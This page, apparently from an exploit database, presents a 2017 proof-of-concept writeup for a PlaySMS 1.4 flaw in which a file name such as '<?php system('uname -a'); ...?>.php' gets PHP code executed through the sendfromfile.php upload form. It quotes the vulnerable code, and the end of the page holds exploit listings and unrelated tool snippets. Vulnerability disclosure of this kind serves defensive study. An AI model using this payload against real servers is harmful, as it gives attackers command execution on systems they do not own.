Menu

Search for hundreds of thousands of exploits

"PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload"

Author

Exploit author

"Touhid M.Shaikh"

Platform

Exploit platform

php

Release date

Exploit published date

2017-05-14

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
# Date: 14-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   
Unrestricted File Upload: 
	Any registered user can upload any file because of not proper Validation of file in sendfromfile.php

Code Execution using $filename 
	Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily  but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php"  den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.

 For More Details : www.touhidshaikh.com/blog/
   
2. Proof of Concept
 
Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
 

 This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------


-------------PHP code for set parameter ---------------------------

	case 'upload_confirm':
		$filename = $_FILES['fncsv']['name'];

------------------------------php code ends ---------------------------


$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------

line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';

----------------------------------------------------------------------
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-03-11 "PlaySMS 1.4.3 - Template Injection / Remote Code Execution" webapps php "Touhid M.Shaikh"
2018-03-30 "Vtiger CRM 6.3.0 - (Authenticated) Arbitrary File Upload (Metasploit)" webapps php "Touhid M.Shaikh"
2017-09-29 "Dup Scout Enterprise 10.0.18 - 'Import Command' Local Buffer Overflow" local windows "Touhid M.Shaikh"
2017-09-28 "DiskBoss Enterprise 8.4.16 - 'Import Command' Local Buffer Overflow" local windows "Touhid M.Shaikh"
2017-09-28 "DiskBoss Enterprise 8.4.16 - Local Buffer Overflow (PoC)" dos windows "Touhid M.Shaikh"
2017-09-26 "Tiny HTTPd 0.1.0 - Directory Traversal" remote linux "Touhid M.Shaikh"
2017-09-04 "Dup Scout Enterprise 9.9.14 - 'Input Directory' Local Buffer Overflow" local windows "Touhid M.Shaikh"
2017-08-28 "Easy WMV/ASF/ASX to DVD Burner 2.3.11 - Local Buffer Overflow (SEH)" local windows "Touhid M.Shaikh"
2017-08-28 "Easy RM RMVB to DVD Burner 1.8.11 - Local Buffer Overflow (SEH)" local windows "Touhid M.Shaikh"
2017-08-12 "RealTime RWR-3G-100 Router - Cross-Site Request Forgery (Change Admin Password)" webapps hardware "Touhid M.Shaikh"
2017-08-10 "Piwigo Plugin User Tag 0.9.0 - Cross-Site Scripting" webapps php "Touhid M.Shaikh"
2017-08-01 "VehicleWorkshop - Arbitrary File Upload" webapps php "Touhid M.Shaikh"
2017-08-01 "VehicleWorkshop - Authentication Bypass" webapps php "Touhid M.Shaikh"
2017-06-12 "Easy File Sharing Web Server 7.2 - 'POST' Remote Buffer Overflow" remote windows "Touhid M.Shaikh"
2017-06-11 "Easy File Sharing Web Server 7.2 - Authentication Bypass" remote windows "Touhid M.Shaikh"
2017-05-31 "Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting" webapps php "Touhid M.Shaikh"
2017-05-30 "Piwigo Plugin Facetag 0.0.3 - SQL Injection" webapps php "Touhid M.Shaikh"
2017-05-26 "QWR-1104 Wireless-N Router - Cross-Site Scripting" webapps hardware "Touhid M.Shaikh"
2017-05-21 "PlaySMS 1.4 - 'import.php' Remote Code Execution" webapps php "Touhid M.Shaikh"
2017-05-19 "PlaySMS 1.4 - Remote Code Execution" webapps php "Touhid M.Shaikh"
2017-05-19 "D-Link DIR-600M Wireless N 150 - Authentication Bypass" webapps hardware "Touhid M.Shaikh"
2017-05-14 "PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload" webapps php "Touhid M.Shaikh"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.